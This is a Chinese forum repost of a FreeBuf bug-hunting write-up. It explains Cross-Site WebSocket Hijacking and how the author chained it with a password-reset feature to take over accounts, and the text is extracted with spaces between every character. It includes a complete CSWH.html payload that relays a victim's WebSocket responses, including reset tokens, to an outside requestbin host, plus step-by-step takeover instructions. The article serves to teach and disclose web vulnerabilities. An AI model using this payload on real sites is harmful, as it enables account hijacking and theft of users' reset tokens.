搜索

[13929] 2019-03-30_利用跨站WebSocket劫持(CSWH)实现账户劫持

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-03-30_利用跨站WebSocket劫持(CSWH)实现账户劫持 利 用 跨 站 W e b S o c k e t 劫 持 ( C S W H ) 实 现 账 户 劫 持 c l o u d s   F r e e B u f   2 0 1 9 - 0 3 - 3 0 本 文 分 享 的 是 作 者 在 某 次 漏 洞 测 试 中 ， 由 于 目 标 应 用 使 用 了 W e b S o c k e t 协 议 ， 经 测 试 后 ， 存 在 跨 站 W e b S o c k e t 劫 持 漏 洞 。 之 后 ， 作 者 利 用 该 漏 洞 结 合 用 户 密 码 重 置 功 能 ， 实 现 了 对 目 标 应 用 注 册 账 户 的 账 户 劫 持 攻 击 。 W e b S o c k e t 技 术 和 跨 站 技 术 和 跨 站 W e b S o c k e t 劫 持 攻 击 导 读 劫 持 攻 击 导 读 为 了 更 好 地 理 解 W e b S o c k e t   技 术 ， 在 此 ， 我 们 参 考 了 I B M   D e v e l o p e r 社 区 《 深 入 理 解 跨 站 点   W e b S o c k e t   劫 持 漏 洞 的 原 理 及 防 范 》 一 文 ， 对 W e b S o c k e t   技 术 和 跨 站 点   W e b S o c k e t 劫 持 漏 洞 做 了 大 概 的 梳 理 。 W e b S o c k e t 协 议 技 术 协 议 技 术 W e b S o c k e t   是   H T M L 5   推 出 的 新 协 议 ， 跟   H T T P   协 议 内 容 本 身 没 有 关 系 。 W e b S o c k e t   是 持 久 化 的 协 议 ， 而   H T T P   是 非 持 久 连 接 。 W e b S o c k e t   提 供 了 全 双 工 沟 通 ， 俗 称   W e b   的   T C P   连 接 ， 且 W e b S o c k e t   基 于   T C P   实 现 了 消 息 流 。 W e b S o c k e t   也 类 似 于   T C P   一 样 进 行 握 手 连 接 ， 跟   T C P   不 同 的 是 ， W e b S o c k e t   是 基 于   H T T P   协 议 进 行 的 握 手 ， 它 在 客 户 端 和 服 务 器 之 间 提 供 了 一 个 基 于 单   T C P   连 接 的 高 效 全 双 工 通 信 信 道 。 通 信 协 议 从   h t t p : / / 或   h t t p s : / / 切 换 到   w s : / / 或 w s s : / / 后 ， 表 示 应 用 已 经 切 换 到 了 W e b S o c k e t 协 议 通 信 状 态 。 对 于 实 时 性 要 求 比 较 高 的 应 用 而 言 ， 譬 如 在 线 证 券 、 在 线 游 戏 ， 以 及 不 同 设 备 之 间 信 息 同 步 。 信 息 实 时 同 步 一 直 是 技 术 难 题 ， 在   W e b S o c k e t   出 现 之 前 ， 常 见 解 决 方 案 一 般 就 是 轮 询 （ P o l l i n g ） 和   C o m e t   技 术 ， 但 这 些 技 术 增 加 了 设 计 复 杂 度 ， 也 造 成 了 网 络 和 服 务 器 的 额 外 负 担 ， 在 负 载 较 大 的 情 况 下 效 率 相 对 低 下 ， 导 致 应 用 的 可 伸 缩 行 收 到 制 约 。 对 于 此 类 应 用 的 开 发 者 来 说 ， W e b S o c k e t   技 术 简 直 就 是 神 兵 利 器 ， 详 细 可 登 陆   w e b s o c k e t . o r g   网 站 查 看 具 体 应 用 案 例 。 跨 站 跨 站 W e b S o c k e t 劫 持 漏 洞 劫 持 漏 洞 例 如 ， 以 下 是 w e b s o c k e t . o r g   网 站 和 其 E c h o   测 试 服 务 器 e c h o . w e b s o c k e t . o r g 之 间 ， 从 H T T P 到 W e b S o c k e t 协 议 升 级 切 换 的 握 手 请 求 和 响 应 。 W e b S o c k e t   协 议 切 换 请 求 ：
C o n n e c t i o n ： U p g r a d e   和   U p g r a d e ： w e b s o c k e t   这 两 行 ， 相 当 于 告 诉 服 务 器 端 ： 我 要 申 请 切 换 到   W e b S o c k e t   协 议 。 W e b S o c k e t   协 议 切 换 响 应 ： 一 旦 服 务 器 端 返 回   1 0 1   响 应 ， 即 可 完 成   W e b S o c k e t   协 议 切 换 。 服 务 器 端 即 可 以 基 于 相 同 端 口 ， 将 通 信 协 议 从   h t t p : / / 或   h t t p s : / / 切 换 到   w s : / / 或   w s s : / / 。 协 议 切 换 完 成 后 ， 浏 览 器 和 服 务 器 端 即 可 以 使 用   W e b S o c k e t   A P I   互 相 发 送 和 收 取 文 本 和 二 进 制 消 息 。 从 以 上 请 求 响 应 消 息 中 可 以 看 到 ， W e b S o c k e t   协 议 没 有 规 范   O r i g i n   必 须 相 同 ， 没 有 指 定 “ A c c e s s - C o n t r o l - A l l o w - O r i g i n ” ， 也 没 有 规 定 服 务 器 在 握 手 阶 段 应 该 如 何 认 证 客 户 端 身 份 ， 跨 域 资 源 共 享   C r o s s - O r i g i n   R e s o u r c e S h a r i n g （ C O R S ） 机 制 并 不 适 用 W e b S o c k e t   协 议 。 所 以 在 此 来 说 ， 攻 击 者 可 以 伪 造 握 手 请 求 来 绕 过 身 份 认 证 ， 最 终 实 现 的 效 果 就 是 跨 站 点 W e b S o c k e t 劫 持 攻 击 （ C r o s s - S i t e   W e b S o c k e t   H i j a c k i n g ， C S W H ） 。 发 现 跨 站 发 现 跨 站 W e b S o c k e t 劫 持 漏 洞 劫 持 漏 洞 有 了 以 上 对 跨 站 点 W e b S o c k e t 劫 持 攻 击 的 理 解 ， 作 者 在 某 邀 请 测 试 项 目 中 ， 发 现 了 某 个 使 用 了 W e b S o c k e t 协 议 连 接 的 应 用 ， 在 分 析 了 W e b S o c k e t   U R L 之 后 ， 作 者 发 现 其 存 在 跨 站 W e b S o c k e t 劫 持 漏 洞 。 假 设 某 个 应 用 用 w s s : / / w e b s i t e . c o m 的 方 式 建 立 起 了 W e b S o c k e t 协 议 通 道 ， 要 验 证 它 是 否 存 在 跨 站 W e b S o c k e t 劫 持 漏 洞 ， 可 以 遵 循 以 下 几 个 步 骤 ： 1 、 在 浏 览 器 中 打 开 目 标 W e b 应 用 页 面 ； 2 、 在 浏 览 器 新 选 项 卡 中 访 问 h t t p : / / w e b s o c k e t . o r g / e c h o . h t m l 这 个 测 试 页 面 ， 在 其 中 的 L o c a t i o n 处 输 入 上 述 目 标 应 用 的 W e b S o c k e t   U R L -   w s s : / / w e b s i t e . c o m ， 点 击   ‘ C o n n e c t ’ 连 接 ； G E T   w s : / / e c h o . w e b s o c k e t . o r g / ? e n c o d i n g = t e x t   H T T P / 1 . 1 H o s t :   e c h o . w e b s o c k e t . o r g C o n n e c t i o n :   U p g r a d e P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e U p g r a d e :   w e b s o c k e t O r i g i n :   h t t p : / / w w w . w e b s o c k e t . o r g S e c - W e b S o c k e t - V e r s i o n :   1 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 1 _ 4 )   C h r o m e / 4 9 . 0 . 2 6 2 3 . 1 1 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   s d c h A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 8 , z h - C N ; q = 0 . 6 C o o k i e :   _ g a t = 1 ;   _ g a = G A 1 . 2 . 2 9 0 4 3 7 2 . 1 4 5 9 6 4 7 6 5 1 ;   J S E S S I O N I D = 1 A 9 4 3 1 C F 0 4 3 F 8 5 1 E 0 3 5 6 F 5 8 3 7 8 4 5 B 2 E C S e c - W e b S o c k e t - K e y :   7 A R p s 0 A j s H N 8 b x 5 d C I 1 K K Q = = S e c - W e b S o c k e t - E x t e n s i o n s :   p e r m e s s a g e - d e f l a t e ;   c l i e n t _ m a x _ w i n d o w _ b i t s H T T P / 1 . 1   1 0 1   W e b   S o c k e t   P r o t o c o l   H a n d s h a k e A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   c o n t e n t - t y p e A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   a u t h o r i z a t i o n A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - e x t e n s i o n s A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - v e r s i o n A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - p r o t o c o l A c c e s s - C o n t r o l - A l l o w - O r i g i n :   h t t p : / / w w w . w e b s o c k e t . o r g C o n n e c t i o n :   U p g r a d e D a t e :   S u n ,   0 3   A p r   2 0 1 6   0 3 : 0 9 : 2 1   G M T S e c - W e b S o c k e t - A c c e p t :   w W 9 B l 9 5 V t f J D b p H d f i v y 7 c s O a D o = S e r v e r :   K a a z i n g   G a t e w a y U p g r a d e :   w e b s o c k e t
3 、 一 旦 和 目 标 W e b S o c k e t   U R L 建 立 起 了 W e b S o c k e t 连 接 ， 就 可 以 通 过 该 测 试 页 面 向 目 标 服 务 器 中 发 送 数 据 。 在 该 过 过 程 ， 我 们 可 以 利 用 B u r p S u i t e 来 抓 取 有 效 连 接 的 w e b s o c k e t 数 据 s e s s i o n 包 ， 然 后 ， 通 过 更 改 o r i g i n 头 的 方 式 进 行 包 重 放 ， 查 看 目 标 服 务 器 的 响 应 情 况 。 如 果 重 放 后 服 务 器 的 响 应 与 前 面 有 效 s e s s i o n 发 送 的 正 常 包 相 同 ， 那 就 说 明 该 应 用 可 能 存 在 跨 站 W e b S o c k e t 劫 持 漏 洞 。 当 然 ， 还 可 以 利 用 跨 站 点 W e b S o c k e t 劫 持 漏 洞 检 测 网 站   -   h t t p : / / i r o n w a s p . o r g / c s w s h . h t m l ， 来 确 定 该 漏 洞 是 否 存 在 。 通 过 以 上 几 个 步 骤 的 检 测 分 析 ， 最 终 我 发 现 该 应 用 存 在 跨 站 W e b S o c k e t 劫 持 漏 洞 。 利 用 跨 站 利 用 跨 站 W e b S o c k e t 劫 持 漏 洞 劫 持 账 户 劫 持 漏 洞 劫 持 账 户 当 我 在 浏 览 器 中 和 目 标 应 用 建 立 起 W e b S o c k e t 连 接 之 后 ， 我 就 能 获 取 到 类 似 以 下 的 W e b S o c k e t 响 应 数 据 包 ： 仔 细 查 看 上 图 ， 可 以 发 现 ， 其 中 包 含 了 一 个 名 为   “ _ f o r g o t P a s s w o r d I d ”   且 值 为 “ n u l l ” 的 参 数 ， 所 以 ， 现 在 我 们 需 要 来 确 定 这 个 “ _ f o r g o t P a s s w o r d I d ”   的 值 ， 看 看 能 否 对 它 进 行 利 用 。 对 应 的 ， 我 在 浏 览 器 中 ， 用 h t t p s 方 式 ， 输 入 了 目 标 应 用 相 关 的 某 个 注 册 邮 箱 对 应 用 户 的 忘 记 密 码 功 能 页 面 ， 如 下 ：
之 后 ， 我 查 看 此 时 的 W e b S o c k e t 响 应 数 据 包 时 ， 它 为 f o r g o t P a s s w o r d 带 了 一 个 t o k e n ， 很 明 显 ， 这 表 示 我 的 此 次 操 作 得 到 了 服 务 端 验 证 。 所 以 ， 这 种 跨 站 W e b S o c k e t 劫 持 和 密 码 重 置 功 能 的 组 合 ， 可 以 充 分 利 用 形 成 对 目 标 应 用 特 定 用 户 的 账 户 劫 持 。 为 此 ， 我 写 了 以 下 的 P a y l o a d 脚 本 C S W H . h t m l ， 用 X H R 方 式 向 目 标 应 用 服 务 端 发 送 W e b S o c k e t 连 接 请 求 ：
账 号 劫 持 步 骤 ： 1 、 把 目 标 应 用 的 正 常 密 码 重 置 请 求 页 面 发 送 给 受 害 者 ； 2 、 在 攻 击 者 网 站 托 管 上 述 C S W H . h t m l ， 把 该 h t m l 访 问 链 接 也 发 送 受 害 者 ； 3 、 一 旦 受 害 者 分 别 点 击 了 上 述 两 个 U R L 链 接 之 后 ， 攻 击 者 端 就 能 通 过 数 据 包 监 听 方 式 获 取 到 目 标 应 用 服 务 端 对 此 次 密 码 重 置 的 W e b s o c k e t 响 应 消 息 ， 如 下 ：       < ! - -   R e f e r e n c e   h t t p : / / w w w . w e b s o c k e t . o r g / e c h o . h t m l   - - > < ! D O C T Y P E   h t m l >       < m e t a   c h a r s e t = " u t f - 8 "   / >       < t i t l e > T e s t i n g < / t i t l e >       < s c r i p t   l a n g u a g e = " j a v a s c r i p t "   t y p e = " t e x t / j a v a s c r i p t " >       v a r   w s U r i   =   " w s s : / / h o s t . c o m " ;       v a r   o u t p u t ;       f u n c t i o n   i n i t ( )       {     o u t p u t   =   d o c u m e n t . g e t E l e m e n t B y I d ( " o u t p u t " ) ;     t e s t W e b S o c k e t ( ) ;       }       f u n c t i o n   t e s t W e b S o c k e t ( )       {     w e b s o c k e t   =   n e w   W e b S o c k e t ( w s U r i ) ;     w e b s o c k e t . o n o p e n   =   f u n c t i o n ( e v t )   {   o n O p e n ( e v t )   } ;     w e b s o c k e t . o n c l o s e   =   f u n c t i o n ( e v t )   {   o n C l o s e ( e v t )   } ;     w e b s o c k e t . o n m e s s a g e   =   f u n c t i o n ( e v t )   {   o n M e s s a g e ( e v t )   } ;     w e b s o c k e t . o n e r r o r   =   f u n c t i o n ( e v t )   {   o n E r r o r ( e v t )   } ;       }       f u n c t i o n   o n O p e n ( e v t )       {     w r i t e T o S c r e e n ( " C O N N E C T E D " ) ;     d o S e n d ( ' w e b s o c k e t   f r a m e   ' ) ;       }       f u n c t i o n   o n C l o s e ( e v t )       {     w r i t e T o S c r e e n ( " D I S C O N N E C T E D " ) ;       }       f u n c t i o n   o n M e s s a g e ( e v t )       {   v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;   x h r . o p e n ( " P O S T " ,   " h t t p : / / r e q u e s t b i n . f u l l c o n t a c t . c o m / 1 1 4 3 n 2 w 1 " ,   t r u e ) ;   x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 " ) ;   x h r . s e n d ( e v t . d a t a ) ;     w e b s o c k e t . c l o s e ( ) ;       }       f u n c t i o n   o n E r r o r ( e v t )       {     w r i t e T o S c r e e n ( ' < s p a n   s t y l e = " c o l o r :   r e d ; " > E R R O R : < / s p a n >   '   +   e v t . d a t a ) ;       }       f u n c t i o n   d o S e n d ( m e s s a g e )       {     w r i t e T o S c r e e n ( " S E N T :   "   +   m e s s a g e ) ;     w e b s o c k e t . s e n d ( m e s s a g e ) ;       }       f u n c t i o n   w r i t e T o S c r e e n ( m e s s a g e )       {     v a r   p r e   =   d o c u m e n t . c r e a t e E l e m e n t ( " p " ) ;     p r e . s t y l e . w o r d W r a p   =   " b r e a k - w o r d " ;     p r e . i n n e r H T M L   =   m e s s a g e ;     o u t p u t . a p p e n d C h i l d ( p r e ) ;       }       w i n d o w . a d d E v e n t L i s t e n e r ( " l o a d " ,   i n i t ,   f a l s e ) ;       < / s c r i p t >       < h 2 > W e b S o c k e t   T e s t < / h 2 >       < d i v   i d = " o u t p u t " > < / d i v >
4 、 利 用 其 中 的 密 码 重 置 t o k e n ， 我 们 就 能 向 目 标 应 用 服 务 端 伪 造 请 求 ， 实 现 对 受 害 者 账 户 的 密 码 重 置 ， 以 此 实 现 对 其 账 户 劫 持 。 * 参 考 来 源 ： m e d i u m ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理